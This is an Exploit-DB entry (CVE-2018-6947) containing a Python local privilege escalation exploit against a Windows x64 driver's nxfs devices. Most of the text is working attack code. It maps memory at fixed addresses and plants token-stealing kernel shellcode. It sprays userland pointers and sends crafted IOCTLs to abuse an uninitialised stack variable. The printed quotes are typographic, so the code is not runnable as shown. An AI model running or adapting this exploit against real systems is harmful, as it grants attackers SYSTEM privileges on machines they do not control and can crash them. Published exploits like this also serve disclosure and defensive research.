EDB-ID: 44168 | Author: Fidus InfoSecurity | Published: 2018-02-22 | CVE: CVE-2018-6947 | Type: Local | Platform: Windows_x86-64 | Aliases: N/A | Advisory/Source: Link | Tags: Local | Vulnerable App: N/A |
from ctypes.wintypes import *
import struct
import sys
import os
MEM_COMMIT = 0x00001000
MEM_RESERVE = 0x00002000
PAGE_EXECUTE_READWRITE = 0x00000040
GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 0x3
STATUS_INVALID_HANDLE = 0xC0000008
shellcode_len = 90
s = “”
s += “\x65\x48\x8B\x04\x25\x88\x01\x00” #mov rax, [gs:0x188]
s += “\x00”
s += “\x48\x8B\x40\x70” #mov rax, [rax + 0x70]
s += “\x48\x8B\x98\x90\x02\x00\x00” #mov rbx, [rax + 0x290]
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x98\x80\x01\x00\x00” #cmp [rax + 0x180], rbx
s += “\x75\xEA” #jne Loop1
s += “\x48\x89\xC1” #mov rcx, rax
s += “\xBA\x04\x00\x00\x00” #mov rdx, 0x4
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
s += “\x48\x39\x90\x80\x01\x00\x00” #cmp [rax + 0x180], rdx
s += “\x75\xEA” #jne Loop2
s += “\x48\x8B\x80\x08\x02\x00\x00” #mov rax, [rax + 0x208]
s += “\x48\x89\x81\x08\x02\x00\x00” #mov [rcx + 0x208], rax
s += “\x48\x31\xC0” #xor rax,rax
s += “\xc3” #ret
shellcode = s
”’
* Convert a python string to PCHAR
@Param string – the string to be converted.
@Return – a PCHAR that can be used by winapi functions.
”’
def str_to_pchar(string):
pString = c_char_p(string)
return pString
”’
* Map memory in userspace using NtAllocateVirtualMemory
@Param address – The address to be mapped, such as 0x41414141.
@Param size – the size of the mapping.
@Return – a tuple containing the base address of the mapping and the size returned.
”’
def map_memory(address, size):
temp_address = c_void_p(address)
size = c_uint(size)
proc = windll.kernel32.GetCurrentProcess()
nt_status = windll.ntdll.NtAllocateVirtualMemory(c_void_p(proc),
byref(temp_address), 0,
byref(size),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE)
#The mapping failed, let the calling code know
if nt_status != 0:
return (-1, c_ulong(nt_status).value)
else:
return (temp_address, size)
”’
* Write to some mapped memory.
@Param address – The address in memory to write to.
@Param size – The size of the write.
@Param buffer – A python buffer that holds the contents to write.
@Return – the number of bytes written.
”’
def write_memory(address, size, buffer):
temp_address = c_void_p(address)
temp_buffer = str_to_pchar(buffer)
proc = c_void_p(windll.kernel32.GetCurrentProcess())
bytes_ret = c_ulong()
size = c_uint(size)
windll.kernel32.WriteProcessMemory(proc,
temp_address,
temp_buffer,
size,
byref(bytes_ret))
return bytes_ret
”’
* Get a handle to a device by its name. The calling code is responsible for
* checking the handle is valid.
@Param device_name – a string representing the name, ie \\\\.\\nxfs-net….
”’
def get_handle(device_name):
return windll.kernel32.CreateFileA(device_name,
GENERIC_READ | GENERIC_WRITE,
0,
None,
OPEN_EXISTING,
0,
None)
def main():
print “[+] Attempting to exploit uninitialised stack variable, this has a chance of causing a bsod!”
print “[+] Mapping the regions of memory we require”
#Try and map the first 3 critical regions, if any of them fail we exit.
address_1, size_1 = map_memory(0x14c00000, 0x1f0000)
if address_1 == -1:
print “[x] Mapping 0x610000 failed with error %x” %size_1
sys.exit(-1)
address_2, size_2 = map_memory(0x41414141, 0x100000)
if address_2 == -1:
print “[x] Mapping 0x41414141 failed with error %x” %size_2
sys.exit(-1)
address_3, size_3 = map_memory(0xbad0b0b0, 0x1000)
if address_3 == -1:
print “[x] Mapping 0xbad0b0b0 failed with error %x” %size_3
sys.exit(-1)
#this will hold our shellcode
sc_address, sc_size = map_memory(0x42424240, 0x1000)
if sc_address == -1:
print “[x] Mapping 0xbad0b0b0 failed with error %x” %sc_size
sys.exit(-1)
#Now we write certain values to those mapped memory regions
print “[+] Writing data to mapped memory…”
#the first write involves storing a pointer to our shellcode
#at offset 0xbad0b0b0+0xa8
buff = “\x40BBB” #0x42424240
bytes_written = write_memory(0xbad0b0b0+0xa8, 4, buff)
write_memory(0x42424240, shellcode_len, shellcode)
#the second write involves spraying the first memory address with pointers
#to our second mapped memory.
print “\t spraying unitialised pointer memory with userland pointers”
buff = “\x40AAA” #0x0000000041414140
for offset in range(4, size_1.value, 8):
temp_address = address_1.value + offset
write_memory(temp_address, 4, buff)
#the third write simply involves setting 0x41414140-0x18 to 0x5
#this ensures the kernel creates a handle to a TOKEN object.
print “[+] Setting TOKEN type index in our userland pointer”
buff = “\x05”
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, buff)
print “[+] Writing memory finished, getting handle to first device”
handle = get_handle(“\\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”)
if handle == STATUS_INVALID_HANDLE:
print “[x] Couldn’t get handle to \\\\.\\nxfs-709fd562-36b5-48c6-9952-302da6218061”
sys.exit(-1)
#if we have a valid handle, we now need to send ioctl 0x222014
#this creates a new device for which ioctl 0x222030 can be sent
in_buff = struct.pack(“<I”, 0x190) + struct.pack(“<I”, 0x1) + “AA”
in_buff = str_to_pchar(in_buff)
out_buff = str_to_pchar(“A”*0x90)
bytes_ret = c_ulong()
ret = windll.kernel32.DeviceIoControl(handle,
0x222014,
in_buff,
0x10,
out_buff,
0x90,
byref(bytes_ret),
0)
if ret == 0:
print “[x] IOCTL 0x222014 failed”
sys.exit(-1)
print “[+] IOCTL 0x222014 returned success”
#get a handle to the next device for which we can send the vulnerable ioctl.
print “[+] Getting handle to \\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”
handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
if handle == STATUS_INVALID_HANDLE:
print “[x] Couldn’t get handle”
sys.exit(-1)
#this stage involves attempting to manipulate the Object argument on the stack.
#we found that making repeated calles to CreateFileA increased this value.
print “[+] Got handle to second device, now generating a load more handles”
for i in range(0, 900000):
temp_handle = get_handle(“\\\\.\\nxfs-net-709fd562-36b5-48c6-9952-302da6218061{709fd562-36b5-48c6-9952-302da6218061}”)
#coming towards the end, we send ioctl 0x222030, this has the potential to bluescreen the system.
#we don’t care about the return code.
print “[+] Sending IOCTL 0x222030”
in_buff = str_to_pchar(“A”*0x30)
out_buff = str_to_pchar(“B”*0x30)
windll.kernel32.DeviceIoControl(handle,
0x222030,
in_buff,
0x30,
out_buff,
0x30,
byref(bytes_ret),
0)
#finally, we confuse the kernel by setting our object type index to 1.
#this then points to 0xbad0b0b0, and namely 0xbad0b0b0+0xa8 for the close procedure(???)
print “[+] Setting our object type index to 1”
temp_address = 0x41414140-0x18
write_memory(temp_address, 1, “\x01”)
#The process should now exit, where the kernel will attempt to clean up our dodgy handle
#This will cause …..
if __name__ == ‘__main__’:
main()
